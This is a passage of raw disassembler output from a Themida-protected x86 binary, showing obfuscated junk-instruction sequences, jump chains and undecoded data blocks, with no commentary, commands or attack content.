		dd 8900000Ch, 68562404h, 6B544858h, 31F6815Eh, 89220895h
		dd 516AE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56512A:				; CODE XREF: Themida_:00566251j
		not	dword ptr [esp]
		pop	edx
		sub	edx, 44757F12h
		sub	edx, 72C40B5Dh
		add	ebp, 498464F9h
		push	edx
		mov	edx, 0F486D04h
		sub	ebp, edx
		jmp	loc_56CA22
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 0Ch
		dd 4EC8124h, 89000000h,	0E954242Ch, 0FFFFE306h
; ---------------------------------------------------------------------------


loc_565160:				; CODE XREF: Themida_:00565613j
		shr	ebp, 1
		push	eax
		mov	eax, 5A1A2148h
		xchg	eax, edi
		push	edi
		not	dword ptr [esp]
		jmp	loc_56FCD9
; ---------------------------------------------------------------------------
		dw 0DE88h
		dd 240C8B5Bh, 0FFD2B0E9h, 1E568FFh, 1C890000h, 0EC815124h
		dd 2, 24048966h, 0FFE2F5E9h, 4C483FFh, 54EEB951h, 0E981767Eh
		dd 48D4015h, 394EE981h,	0D9F77283h, 0E1FC981h, 3E6815D5h
		dd 0E900000Dh, 0FFFFD349h
; ---------------------------------------------------------------------------


loc_5651BC:				; CODE XREF: Themida_:0056ABDDj
		pop	edi
		jmp	loc_565879
; ---------------------------------------------------------------------------


loc_5651C2:				; CODE XREF: Themida_:00564BBDj
		xchg	esi, [esp]
		jmp	loc_573EC6
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 9D59E924h, 6368FFFFh, 8900002Ch, 0EC83240Ch,	9A1AE904h
		dd 815C0000h, 0BA62C1C3h, 4E19E90Ah, 0EC830000h, 24048904h
		dd 0D360E95Fh, 0EB68FFFFh, 8900005Eh, 0C7E92404h, 81FFFFEAh
		dd 4C2h, 4C28300h, 5C241487h, 0FF98B8E9h, 24348BFFh, 3304C483h
		dd 0C31240Ch, 240C3324h, 421665Ch, 9EE99C24h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565233:				; CODE XREF: Themida_:0055F613j
		sub	ecx, 390E32CAh
		jmp	loc_56B7C1
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BE243489h, 3DAC5159h, 637BE9h, 0F6C73000h, 0C58851D8h
		dd 0EF88F888h, 64FCE9h,	4EE98100h, 0E93A7C18h, 0FFFFD0B2h
		dd 759268h, 0A043E900h,	34FF0000h, 3503E924h, 0C870000h
		dd 8256E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565286:				; CODE XREF: Themida_:0056036Dj
		push	esi
		mov	esi, 717E29FFh
		jmp	loc_565BB6
; ---------------------------------------------------------------------------


loc_565291:				; CODE XREF: Themida_:0055F578j
		add	ebx, 81D7C58h
		jmp	loc_5719D8
; ---------------------------------------------------------------------------


loc_56529C:				; CODE XREF: Themida_:005734C1j
		xchg	ebp, [esp]
		jmp	loc_573393
; ---------------------------------------------------------------------------
aSHiz		db 'Áá',7,'h©Z',0
		align 4
		dd 68240489h, 1C0D1E09h, 0C13FE958h, 2C5A0000h,	4D82879h
		dd 8B642C79h, 0C481241Ch, 4, 0FF9ADAE9h, 0C48358FFh, 272BE904h
		dd 1C890000h, 393FBB24h, 52E907B1h, 0B9000054h,	0ACEEA33Bh
		dd 0E95EF129h, 0FFFFB72Dh, 0E7E9D189h, 57FFFFA6h, 42474FFh
		dd 641DE9h, 0C6815800h,	1, 3884F681h, 0EC8316DDh, 241C8904h
		dd 615354BBh, 3ABA054Ch, 0D8012740h, 0EB685553h, 5D599D0Eh
		dd 8E9DDF7h, 29FFFFF3h,	4AEA81FAh, 5F2EED21h, 0E9241487h
		dd 0E82Dh, 348B5456h, 4C48324h,	400A68h, 240C8900h, 4B9h
		dd 0E9CE0100h, 0FFFFA16Eh, 4521CD81h, 0E9572BD9h, 3E5Ch
		dd 0C888F188h, 55DFE959h, 0E95F0000h, 4720h, 24048B66h
		dd 652568h, 241C8900h, 61DB68h,	3C19E900h, 0EB810000h
		dd 7C9B7040h, 242C8153h, 63470502h, 56240C8Bh, 1E7868h
		dd 24248900h, 0FFD4F5E9h, 241C89FFh, 1DAAE951h,	0EB880000h
		dd 0FFFDB1E9h, 0F28142FFh, 191F0268h, 815AD529h, 8B5A89C6h
		dd 2DEE8154h, 0E945952Fh, 479Ah
; ---------------------------------------------------------------------------


loc_5653DC:				; CODE XREF: Themida_:005624BAj
		add	edx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		jmp	loc_571F0D
; ---------------------------------------------------------------------------


loc_5653F9:				; CODE XREF: Themida_:005667A8j
		add	esi, 1F8A71E7h
		jmp	loc_57289D
; ---------------------------------------------------------------------------
		dd 637CBD55h, 0EE013A29h, 0E741E95Dh, 0EC81FFFFh, 4, 54243C89h
		dd 3D1BE95Fh, 0AA350000h, 314C59E6h, 4CE958C1h,	8F0000C1h
		dd 815C2404h, 4ECh, 242C8900h, 5E4F0E68h, 242C8B40h, 0FFB8D9E9h
		dd 0EF8159FFh, 4, 2474FF57h, 48F5F04h, 0C895C24h, 0C8B5424h
		dd 4C48124h, 55000000h,	4E216857h, 815F477Dh, 8803BEE7h
		dd 4EFC141h, 0AFC0F781h, 0FD895CE1h, 81DDF75Fh,	4E2FBFCDh
		dd 9754E968h, 895C0000h, 4B82404h, 1000000h, 4865E9C5h
		dd 0E1890000h, 4C181h, 0C1830000h, 2BB8E904h, 0B8500000h
		dd 1A02ACh, 5FFE883h, 0D5801995h, 158C689h, 9A46E9F5h
		dd 0F781FFFFh, 59EE2BD7h, 8324048Bh, 0F90104C4h, 0AF25E9h
		db 0
; ---------------------------------------------------------------------------


loc_5654D9:				; CODE XREF: Themida_:0056B82Aj
		sub	eax, 0B7C2F48h
		push	ebp
		mov	ebp, 603634FEh
		add	ebp, 1CB0756h
		push	eax
		mov	eax, 0B6C31E5Fh
		jmp	loc_565669
; ---------------------------------------------------------------------------
		db 55h,	0FFh, 74h
		dd 8F5D0424h, 0F5872404h, 6C1DE9h, 4C48100h, 0E9000000h
		dd 94D4h, 5C7DE681h, 66E91D49h,	51000097h, 2332E9h
		db 0
; ---------------------------------------------------------------------------


loc_565521:				; CODE XREF: Themida_:00563C06j
		pop	eax
		jmp	loc_563E83
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38300h, 0E9241C87h, 0FFFFE257h, 4EB81h, 1C870000h
		dd 0C895C24h, 1BB6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56554A:				; CODE XREF: Themida_:005602B2j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56D942
; ---------------------------------------------------------------------------
aYsap		db 'YéA',0
		align 4


loc_56555C:				; CODE XREF: Themida_:0055F8BEj
		pop	ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	ecx, 65BF04C3h
		sub	ecx, 134F267Dh
		add	ecx, edi
		add	ecx, 134F267Dh
		add	ecx, 65BF04C3h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56F27D
; ---------------------------------------------------------------------------
		dd 0E9E08950h, 0FFFFCF36h, 4EC835Dh, 81241C89h,	4ECh, 243C8900h
		dd 0F72DEBFh, 39C7813Dh, 5103FD68h, 7828E9h, 81D9F700h
		dd 627F7AC9h, 5E1C12Ch,	56C0E181h, 0F1816B8Eh, 146D20C2h
		dd 8159CE21h, 0BEF66FC6h, 5EF529FEh, 592434FFh,	5304C483h
		dd 4BBh, 8BDD0100h, 0C483241Ch,	242C8704h, 0FFF3B9E9h
		dd 6304ACFFh, 727268h, 240C8900h, 0B252ADB5h, 0FCE280E5h
		dd 0CD95E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565612:				; CODE XREF: Themida_:0056DCB4j
		pop	ecx
		jmp	loc_565160
; ---------------------------------------------------------------------------


loc_565618:				; CODE XREF: Themida_:00566A79j
		add	ebx, 54EA5230h
		neg	ebx
		push	248Ch
		mov	[esp], edi
		mov	edi, 64FD7BC7h
		jmp	loc_5724F6
; ---------------------------------------------------------------------------


loc_565632:				; CODE XREF: Themida_:00571B4Fj
		sub	dword ptr [esp+4], 4FBF799Ch
		jmp	loc_56289B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C48300h, 0FFB2BAE9h, 241489FFh, 8DF0E9h, 0E2895200h
		dd 4C281h, 0C2830000h, 24148704h, 0CEFEE9h
		db 0
; ---------------------------------------------------------------------------


loc_565669:				; CODE XREF: Themida_:005654F0j
		add	ebp, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_566DD9
; ---------------------------------------------------------------------------


loc_56568A:				; CODE XREF: Themida_:00570FF8j
		sub	esp, 4
		jmp	loc_560B89
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C3h
		dd 4BEF73F0h, 0EB81FB01h, 4BEF73F0h, 4EC815Fh, 89000000h
		dd 0EC83240Ch, 24048904h, 0AF25C868h, 2434FF45h, 4C48158h
		dd 0F7000000h, 7F6C25D8h, 98E92A83h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5656CF:				; CODE XREF: Themida_:0056B3E3j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56068F
; ---------------------------------------------------------------------------


loc_5656E3:				; CODE XREF: Themida_:0056E436j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_570261
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 2414335Ch, 0FFA29AE9h, 0D0CB81FFh, 0C1140B33h, 0E3C103E3h
		dd 47876807h, 1C890000h, 240CFF24h, 0FFF461E9h,	5EF201FFh
		dd 2110E9h, 0DAE95900h,	8F0000D0h, 55C2404h, 58090ED7h
		dd 0BE56C801h, 58090ED7h, 9CE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_56573D:				; CODE XREF: Themida_:00567109j
		pop	edi
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 8B240C33h, 4302424h, 56E99C24h, 0FFFFFF93h
		dd 2C8B240Ch, 4C48124h,	56000000h, 0F47477BEh, 2FC6810Ah
		dd 81569474h, 4ECh, 24048900h, 0FFEAD0E9h, 0D6E95FFFh
		dd 8900000Dh, 5650243Ch, 1167D9BEh, 37E94650h, 520000BAh
		dd 0C281E289h, 4, 8704C283h, 535C2414h,	0C381E389h, 4
		dd 0DD60E9h, 0C1015F00h, 240C3358h, 33240C31h, 50E9240Ch
		dd 89FFFF97h, 80BE2434h, 5300AE25h, 0FF9D88E9h,	246C81FFh
		dd 513A3704h, 0B5C3E93Ah, 0C7090000h, 8124048Bh, 4C4h
		dd 48F78100h, 0E918E223h, 7899h, 0F331DE31h, 6B0CE9h, 0AE686600h
		dd 5A545245h, 0E3CEE9h,	5C2D5B00h, 0C1617557h, 0BA5203E0h
		dd 395C7CECh, 148BD031h, 4C48124h, 55000000h, 4D7468h
		dd 24348900h, 0C06CFB68h, 0EF95E923h, 0C588FFFFh, 7337E958h
		dd 4BA0000h, 1000000h, 5A042454h, 0AB5BE95Fh, 0CF01FFFFh
		dd 0FFFBD0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565879:				; CODE XREF: Themida_:005651BDj
		sub	edi, 3769369Ah
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56ED23
; ---------------------------------------------------------------------------
		db 89h
		dd 0B3F0E9E3h, 0F2810000h, 5A664CADh, 0EA81DAF7h, 83C760BDh
		dd 0FFA1B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5658A5:				; CODE XREF: Themida_:00572210j
		add	esp, 4
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5646F4
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 89000000h, 24348BF0h, 81E68956h, 4C6h, 4C68100h, 0E9000000h
		dd 0C09Ch, 0FF91E4E9h, 24048BFFh, 0CE11E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5658F6:				; CODE XREF: Themida_:00572817j
		add	ebp, 4
		jmp	loc_5649F5
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 42474FFh, 24048F5Dh,	8924248Bh, 94E9241Ch, 5F00009Ah
		dd 40D0F748h, 0B31E2E0Dh, 6E4E976h, 0C3810000h,	4, 8704EB83h
		dd 0E95C241Ch, 0FFFFFA79h
; ---------------------------------------------------------------------------


loc_565938:				; CODE XREF: Themida_:0056BFDFj
		push	0
		pop	ebx
		add	ebx, ecx
		push	ecx
		jmp	loc_56CA40
; ---------------------------------------------------------------------------


loc_565946:				; CODE XREF: Themida_:0056C231j
		sub	ebx, 10FF1F1Dh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7AC00397h
		or	ebx, edx
		pop	edx
		add	ebx, 0B8ED4054h
		add	eax, ebx
		pop	ebx
		pop	ebx
		push	edi
		push	ebp
		push	0E4236BBh
		pop	ebp
		xor	ebp, 4B5E561Ch
		mov	edi, ebp
		pop	ebp
		add	ebx, edi
		push	dword ptr [esp]
		jmp	loc_56FCE6
; ---------------------------------------------------------------------------


loc_56597F:				; CODE XREF: Themida_:0056CC67j
		mov	ecx, 4
		add	ebp, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_570227
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0B71CE924h, 0C1810000h, 4, 0FFEB7FE9h, 9117E9FFh, 0F668FFFFh
		dd 8900000Bh, 0E8E92424h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5659C7:				; CODE XREF: Themida_:0057150Dj
		pop	ebp
		push	ebp
		mov	ebp, esp
		push	edx
		push	ebx
		mov	ebx, 42304218h
		shl	ebx, 8
		push	edi
		jmp	loc_56CAEA
; ---------------------------------------------------------------------------


loc_5659DB:				; CODE XREF: Themida_:0056D4FEj
		add	dword ptr [esp], 0ECC1B84h
		pop	eax
		sub	eax, 0ECC1B84h
		pop	ebx
		xor	[esp+4], eax
		jmp	loc_56F0B9
; ---------------------------------------------------------------------------
		dw 0E947h
		dd 8703h
; ---------------------------------------------------------------------------


loc_5659F8:				; CODE XREF: Themida_:00567401j
		or	edx, 26EA2821h
		dec	edx
		and	edx, 53B3227h
		sub	edx, 0BC54C8FFh
		add	ebp, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	ebp, 34730C1Bh
		jmp	loc_568A49
; ---------------------------------------------------------------------------


loc_565A2B:				; CODE XREF: Themida_:0055FB8Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_56340D
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0E00BD55h, 23E905C5h, 54FFFFF6h, 122E685Bh, 14890000h
		dd 2BCFBA24h, 0E2C14351h, 0C1D2F706h, 0F0E902E2h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565A63:				; CODE XREF: Themida_:00566203j
		neg	edx
		sub	edx, 316856C7h
		or	edx, 4A362619h
		jmp	loc_56C763
; ---------------------------------------------------------------------------
a1S		db '\1ÃéÆ+',0
		align 2
		dw 0D2F7h
		dd 0C18EF281h, 0D189F824h, 5A2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 29912B4Fh
		sub	edi, 19A522DDh
		shl	edi, 5
		inc	edi
		and	edi, 1E3F01A3h
		sub	edi, 1C00FFFDh
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5600CD
; ---------------------------------------------------------------------------
		db 87h
		dd 895C240Ch, 4BE2434h,	5000000h, 75996461h, 612DF001h
		dd 0FF759964h, 0B0E92434h, 8900000Dh, 39E950E2h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565AE7:				; CODE XREF: Themida_:00572335j
		sub	eax, 1
		dec	eax
		jmp	loc_56B95D
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4D19429Bh, 8A2DC381h, 4FE9F2AFh, 5300001Bh, 6F8F68h
		dd 24148900h, 0FF986EE9h, 39BE56FFh, 0E91B9234h, 0D971h
		dd 0E94077FFh, 0FFFF93BBh, 0D5C3E959h, 0FA01FFFFh, 0E92434FFh
		dd 0FFFF9D9Dh, 96E9028Fh
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565B3B:				; CODE XREF: Themida_:00562D28j
		dec	edx
		not	edx
		xchg	ebx, edx
		sub	ebx, 1
		jmp	loc_568CD8
; ---------------------------------------------------------------------------


loc_565B48:				; CODE XREF: Themida_:00565109j
		mov	eax, [esp]
		jmp	loc_571EB3
; ---------------------------------------------------------------------------
		dd 815DEB89h, 16279DC3h, 4EBC147h, 6F69C381h, 0DE091AE8h
		dd 0FFD2DDE9h, 799068FFh, 2C890000h, 0F16E924h,	0B9510000h
		dd 0
		dd 0CA89D129h, 592434FFh, 4C481h, 0E9510000h, 70E9h, 5712C381h
		dd 0F3011198h, 5712EB81h, 0C3811198h, 27BD5C25h, 3D90E95Eh
		dd 68520000h, 4, 0A4F5E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565BB6:				; CODE XREF: Themida_:0056528Cj
		dec	esi
		add	esi, 33A902DDh
		jmp	loc_562D07
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 2EC83D8h, 240C8966h,	4EC81h,	2C890000h, 0E95D5424h
		dd 2143h, 1DE9F800h, 33FFFFBAh,	248B242Ch, 0FBC9E924h
		dd 0C6FEFFFFh, 807CCE80h, 0EE80F9CEh, 5AF02832h, 9256E9h
		dd 2BEF8100h, 31FBF68Bh, 0EA015FFDh, 2C2815Dh, 87000000h
		dd 0D25C2414h, 0E99C243Ch, 0FFFF8EB1h
; ---------------------------------------------------------------------------


loc_565C20:				; CODE XREF: Themida_:0055ECB4j
		push	edi
		mov	edi, 0
		sub	edi, esi
		mov	esi, edi
		pop	edi
		jmp	loc_567043
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 815C243Ch, 103B35EBh
		dd 81D3015Ch, 103B35C3h, 24148B5Ch, 4C481h, 0EB810000h
		dd 21C628D2h, 5FFCB951h, 0C1816E45h, 1EF65CA5h,	5E31F181h
		dd 0E1D16752h, 0FF961EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565C79:				; CODE XREF: Themida_:0057339Aj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 5F1B5F37h
		push	eax
		mov	eax, 23B040D9h
		jmp	loc_562C45
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89240C89h, 0E9CB89F1h, 0ACCAh
; ---------------------------------------------------------------------------


loc_565CAC:				; CODE XREF: Themida_:0056357Ej
		inc	ebp
		push	ecx
		mov	ecx, 32962595h
		sub	ecx, 1
		or	ecx, 7CD1201Bh
		add	ecx, 6C3A2DC7h
		xor	ecx, 4B1D1735h
		sub	ecx, 4F8A1876h
		jmp	loc_572D7C
; ---------------------------------------------------------------------------


loc_565CD6:				; CODE XREF: Themida_:00561489j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_56DC3E
; ---------------------------------------------------------------------------


loc_565CF6:				; CODE XREF: Themida_:00571B97j
		mov	edi, [esp]
		add	esp, 4
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_56C217
; ---------------------------------------------------------------------------


loc_565D0A:				; CODE XREF: Themida_:00566759j
		shr	eax, 4
		or	eax, 57622E5Bh
		jmp	loc_5650FB
; ---------------------------------------------------------------------------
a0H		db '0ÁhÅ\',0
		align 2
aS_6		db 'é×Ë',0
		dw 0BB00h
		dd 2DF6EB78h, 34FFDA01h, 0C4815B24h, 4,	0FFCA7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565D39:				; CODE XREF: Themida_:0056F1A3j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56BA3C
; ---------------------------------------------------------------------------


loc_565D4D:				; CODE XREF: Themida_:0056DDD3j
		mov	[esp], ebx
		mov	ebx, 28C46CE6h
		not	ebx
		add	ebx, 82DB125Eh
		jmp	loc_56DF4E
; ---------------------------------------------------------------------------


loc_565D62:				; CODE XREF: Themida_:005604C1j
		pop	ecx
		sub	al, bh
		sub	al, 0E1h
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 7
		jmp	loc_5738BA
; ---------------------------------------------------------------------------


loc_565D78:				; CODE XREF: Themida_:0056FECDj
		mov	edi, 650C5E74h
		sub	edi, 75F41514h
		jmp	loc_573080
; ---------------------------------------------------------------------------


loc_565D88:				; CODE XREF: Themida_:005660CCj
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	25F6h
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_5693E7
; ---------------------------------------------------------------------------
		dd 2414335Bh, 0B2A9E9h,	7E3C100h, 0E952D3F7h, 9C74h, 241C8966h
		dd 2BB66h, 245C0166h, 665B6602h, 0E924048Fh, 38B0h, 0C6815E54h
		dd 4, 8704EE83h, 895C2434h, 0FEBB241Ch,	0E9140670h, 8B55h
		dd 4BA52h, 0EF810000h, 271D650Ah, 0C781D701h, 271D650Ah
		dd 243C335Ah, 33243C31h, 248B243Ch, 20646824h, 4890000h
		dd 5E08924h, 4,	9C69E953h, 12680000h, 8B26B03Fh, 48E9241Ch
		dd 8700008Eh, 34FF2434h, 54515824h, 4C18159h, 50000000h
		dd 4B8h, 598EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565E5A:				; CODE XREF: Themida_:0056CB70j
		sub	esp, 4
		jmp	loc_56F4A8
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 360A0424h, 5C014845h, 44810424h, 360A0424h, 0FF5B4845h
		dd 0E9582434h, 94A0h, 8704C183h, 248B240Ch, 814FE924h
		dd 0E9570000h, 0D101h, 5E2434FFh, 4C481h, 34FF0000h, 241C8B24h
		dd 4C481h, 74E90000h, 81FFFF9Dh, 0EA04246Ch, 817D7F03h
		dd 56042444h, 5E028A00h, 0FF8C0CE9h, 203834FFh,	0B25258C5h
		dd 80CAFE4Ah, 0D5283FF2h, 59E8885Ah, 82E9C2B7h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_565EDF:				; CODE XREF: Themida_:0056F030j
		sub	eax, 7F99A0C0h
		jmp	loc_569A69
; ---------------------------------------------------------------------------
aSius_0		db 'S‰ãéµÜ',0
		db 0
; ---------------------------------------------------------------------------


loc_565EF1:				; CODE XREF: Themida_:00571F08j
		or	ecx, 5F077019h
		shr	ecx, 5
		shl	ecx, 3
		add	ecx, 0E0142234h
		add	edi, 4995020Ch
		add	edi, ecx
		sub	edi, 4995020Ch
		pop	ecx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_564F5D
; ---------------------------------------------------------------------------


loc_565F23:				; CODE XREF: Themida_:0056492Aj
		pop	edi
		pop	ebp
		add	edi, eax
		mov	eax, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5643E5
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0E7E90000h, 81000002h, 10719BF5h, 7BE5813Ah
		dd 574C1B00h, 42A7E9h, 8BC72800h, 0C4832404h, 80CFFE04h
		dd 0F8285EF7h, 81241C8Bh, 4ECh,	24148900h, 0C281E289h
		dd 4, 4C281h, 14870000h, 24248B24h, 7B04D828h, 8904EC83h
		dd 8350241Ch, 58E902ECh
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565FA3:				; CODE XREF: Themida_:0056F49Cj
		add	esp, 4
		xor	eax, 0C214D0A4h
		add	edi, eax
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_56245F
; ---------------------------------------------------------------------------


loc_565FD6:				; CODE XREF: Themida_:0057074Ej
		dec	edx
		push	0
		sub	[esp], edx
		pop	edx
		dec	edx
		shl	edx, 6
		add	edx, 0B4272E51h
		jmp	loc_56330D
; ---------------------------------------------------------------------------
		db 68h
		dd 0CCEh, 161DE9h
		db 0
; ---------------------------------------------------------------------------


loc_565FF9:				; CODE XREF: Themida_:0056268Dj
		add	esp, 4
		popa
		jmp	loc_570942
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 0C357E978h, 0EC81FFFFh, 4, 0BA241489h, 343F1090h, 7DE0CA81h
		dd 99E97F4Bh, 68FFFFCBh, 235Dh,	68242C89h, 3ABBh, 24048F54h
		dd 4240481h, 0FF000000h, 46E92434h, 8F000093h, 248B2404h
		dd 48B6624h, 0A876E924h, 0C4830000h, 70B76804h,	1C890000h
		dd 0F9E5E924h, 0C5BAFFFFh, 57710647h, 647C1BFh,	5FFA2971h
		dd 815AD701h, 4EFh, 243C8700h, 8924248Bh, 0F6E9240Ch, 66FFFFEBh
		dd 9C2404FFh, 0FF8A40E9h, 6EC281FFh, 29FD6321h,	0D3015AD3h
		dd 8E29E9h, 242C8B00h, 1C3EE9h,	0C3015E00h, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_565D88
; ---------------------------------------------------------------------------
		db 29h,	0FAh, 5Fh
		dd 0D8B7E9h, 4C48300h, 0E9240433h, 7DC4h, 4EA8C781h, 0C70125B9h
		dd 90DEE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5660F2:				; CODE XREF: Themida_:00572505j
		sub	ebx, 0FF623ED5h
		add	eax, 7FE10F6Bh
		push	ecx
		mov	ecx, 17970CDh
		sub	ecx, 69C73B45h
		jmp	loc_5701AA
; ---------------------------------------------------------------------------


loc_56610E:				; CODE XREF: Themida_:00568EF8j
		mov	[esp], ecx
		push	edx
		jmp	loc_56E104
; ---------------------------------------------------------------------------
		db 30h
		dd 24148BF7h, 2804C483h, 241C8BF8h, 4C481h, 26680000h
		dd 89000008h, 5F54243Ch, 0FFA46EE9h, 68E789FFh,	2, 4C5DE9h
		dd 91ED8000h, 0C580FD28h, 0E8005B91h, 2434FF59h, 0E9241C8Bh
		dd 0A1C8h, 4E368h, 240C8900h, 2FF66856h, 815E24DBh, 407F2DCEh
		dd 0C6EE811Fh, 0E9359868h, 0FFFFE7B3h, 8B24048Fh, 0F662424h
		dd 9C2404BBh, 0FF8944E9h, 0E95259FFh, 0CF6Bh
; ---------------------------------------------------------------------------


loc_566194:				; CODE XREF: Themida_:00570E53j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 72BA10C2h
		dec	edi
		push	esi
		mov	esi, 72522FA9h
		and	esi, 3BB94689h
		and	esi, 0DC96713h
		jmp	loc_570565
; ---------------------------------------------------------------------------
aPh		db 'Ph~',0Ah,0
		align 2
		dw 0C89h
		dd 96B35324h, 0FFABDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5661C9:				; CODE XREF: Themida_:00571C78j
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_571298
; ---------------------------------------------------------------------------


loc_5661D7:				; CODE XREF: Themida_:005706CEj
		xor	ebx, edi
		jmp	loc_56CA6B
; ---------------------------------------------------------------------------


loc_5661DE:				; CODE XREF: Themida_:005604D2j
		add	ecx, ebx
		pop	ebx
		xor	ebp, ecx
		pop	ecx
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		jmp	loc_5704F5
; ---------------------------------------------------------------------------


loc_5661EF:				; CODE XREF: Themida_:00566393j
		pop	ebp
		sub	eax, 12942297h
		add	eax, edi
		push	edx
		mov	edx, 0ED277A8h
		add	edx, 523D73BDh
		jmp	loc_565A63
; ---------------------------------------------------------------------------
		dd 0D2E9F201h, 0C1FFFFA4h, 0EE8106E6h, 0C20267D0h, 7B5BE956h
		dd 0D1880000h, 8859CC88h, 665A58E7h, 28FBB551h,	45966EFh
		dd 0F9A6E96Dh, 5266FFFFh, 0ADB75351h, 67E9FD88h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_566243:				; CODE XREF: Themida_:0056BE0Fj
		push	edx
		mov	edx, 48C6758Ch
		push	12A4h
		mov	[esp], edx
		jmp	loc_56512A
